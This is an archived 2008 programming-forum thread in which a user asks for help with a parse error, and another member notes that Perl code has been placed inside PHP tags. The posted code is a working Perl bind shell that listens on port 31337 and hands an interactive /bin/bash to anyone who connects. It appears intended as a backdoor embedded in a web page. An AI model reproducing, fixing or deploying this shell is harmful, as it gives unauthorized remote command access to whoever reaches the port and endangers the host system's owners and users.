Current location: Hot Scripts Forums » Programming Languages » Perl » [SOLVED] Parse error.


[SOLVED] Parse error.

Reply
  #1 (permalink)  
Old 07-03-08, 04:03 AM
BlackPirate BlackPirate is offline
New Member
 
Join Date: Jul 2008
Posts: 2
Thanks: 0
Thanked 0 Times in 0 Posts
Unhappy [SOLVED] Parse error.

Hi all!!
I'm new at this forum, and I have a little problem with this code...

PHP Code:

Parse errorsyntax errorunexpected T_STRINGexpecting T_CONSTANT_ENCAPSED_STRING or '(' on line 17 

there is my code:
PHP Code:

<html>


<head>
  <title></title>
</head>

<body>

<?php

#!/usr/bin/perl 

$SHELL="/bin/bash -i";  

$LISTEN_PORT="31337";  

use 
Socket## it's 17 line in code, there is an error... 

$protocol=getprotobyname('tcp'); 

socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket ";

setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);

bind (S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port ";

listen (S,3) || die "Cant listen port ";

while(
1



accept (CONN,S);

if(! (
$pid=fork))



die 
"Cannot fork" if (! defined $pid);

open STDERR,">&CONN";

exec $SHELL || die print CONN "Cant execute $SHELL "

close CONN;

exit 
0;



}

?>

</body>

</html>
please, help me...
Reply With Quote
  #2 (permalink)  
Old 07-03-08, 04:39 AM
Nico's Avatar
Nico Nico is offline
Community Leader
 
Join Date: Sep 2005
Location: Spain
Posts: 8,075
Thanks: 11
Thanked 88 Times in 83 Posts
You're mixing Perl with PHP code, are you aware of that? You're using PHP tags <?php and ?>, but there's Perl code between them.
Reply With Quote
  #3 (permalink)  
Old 07-03-08, 05:48 AM
BlackPirate BlackPirate is offline
New Member
 
Join Date: Jul 2008
Posts: 2
Thanks: 0
Thanked 0 Times in 0 Posts
Oh, yes... I don't saw that..(((

thanks a lot..)))
Reply With Quote
Reply

Bookmarks


Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On

Forum Jump

Similar Threads
Thread Thread Starter Forum Replies Last Post
PHP Parse error: parse error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRIN aprogrammer PHP 20 08-31-11 05:56 AM
C++ and MSSQL tutorials? scott2500uk C/C++ 8 05-11-09 02:33 AM
Syntax Error Nikas Database 4 05-15-08 10:48 AM
I cannot find what i messed up. Parse error: syntax error, unexpected T_CONSTANT_ENCA bilicek.com PHP 3 01-31-08 04:54 PM
[php error] parse error | fatal error xeoHosting PHP 1 01-03-04 08:12 PM


All times are GMT -5. The time now is 04:51 AM.
vBulletin® Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.